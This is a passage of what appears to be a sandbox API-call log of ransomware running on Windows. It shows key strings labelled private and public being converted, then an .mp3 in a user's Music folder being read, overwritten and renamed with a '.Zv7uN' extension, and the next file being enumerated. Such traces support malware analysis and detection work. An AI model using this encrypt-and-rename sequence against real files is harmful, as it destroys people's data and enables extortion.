cOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0086.089] GetCurrentThreadId () returned 0xa30 [0086.089] GetCurrentThreadId () returned 0xa30 [0086.089] GetCurrentThreadId () returned 0xa30 [0086.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.090] GetCurrentThreadId () returned 0xa30 [0086.090] GetCurrentThreadId () returned 0xa30 [0086.090] GetCurrentThreadId () returned 0xa30 [0086.090] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\8Pfc9PySy8GgPZR8y43.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\8pfc9pysy8ggpzr8y43.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0086.090] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0086.090] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0086.090] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x11518 [0086.090] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0086.090] ReadFile (in: hFile=0x12c, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x11518, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f6a0*=0x11518, lpOverlapped=0x0) returned 1 [0086.093] CloseHandle (hObject=0x12c) returned 1 [0086.094] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\8Pfc9PySy8GgPZR8y43.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\8pfc9pysy8ggpzr8y43.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0086.096] WriteFile (in: hFile=0x12c, lpBuffer=0x1f0afa0*, nNumberOfBytesToWrite=0x11518, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f0afa0*, lpNumberOfBytesWritten=0x18f6ac*=0x11518, lpOverlapped=0x0) returned 1 [0086.100] CloseHandle (hObject=0x12c) returned 1 [0086.102] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\8Pfc9PySy8GgPZR8y43.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\8pfc9pysy8ggpzr8y43.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\8Pfc9PySy8GgPZR8y43.mp3.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\8pfc9pysy8ggpzr8y43.mp3.zv7un")) returned 1 [0086.103] GetCurrentThreadId () returned 0xa30 [0086.103] GetCurrentThreadId () returned 0xa30 [0086.103] GetCurrentThreadId () returned 0xa30 [0086.104] GetCurrentThreadId () returned 0xa30 [0086.104] GetCurrentThreadId () returned 0xa30 [0086.104] GetCurrentThreadId () returned 0xa30 [0086.104] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b0fcf60, ftCreationTime.dwHighDateTime=0x1d5de18, ftLastAccessTime.dwLowDateTime=0xf3b38930, ftLastAccessTime.dwHighDateTime=0x1d5daab, ftLastWriteTime.dwLowDateTime=0xf3b38930, ftLastWriteTime.dwHighDateTime=0x1d5daab, nFileSizeHigh=0x0, nFileSizeLow=0x15a64, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="aop4xHlF.wav", cAlternateFileName="")) returned 1 [0086.104] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0086.104] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0086.104] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\aop4xHlF.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\aop4xhlf.wav"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b0fcf60, ftCreationTime.dwHighDateTime=0x1d5de18, ftLastAccessTime.dwLowDateTime=0xf3b38930, ftLastAccessTime.dwHighDateTime=0x1d5daab, ftLastWriteTime.dwLowDateTime=0xf3b38930, ftLastWriteTime.dwHighDateTime=0x1d5daab, nFileSizeHigh=0x0, nFileSizeLow=0x15a64)) returned 1 [0086.104] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\aop4xHlF.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\aop4xhlf.wav")) returned 0x20 [0086.104] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\aop4xHlF.wav", dwFileAttributes=0x80) returned 1 [0086.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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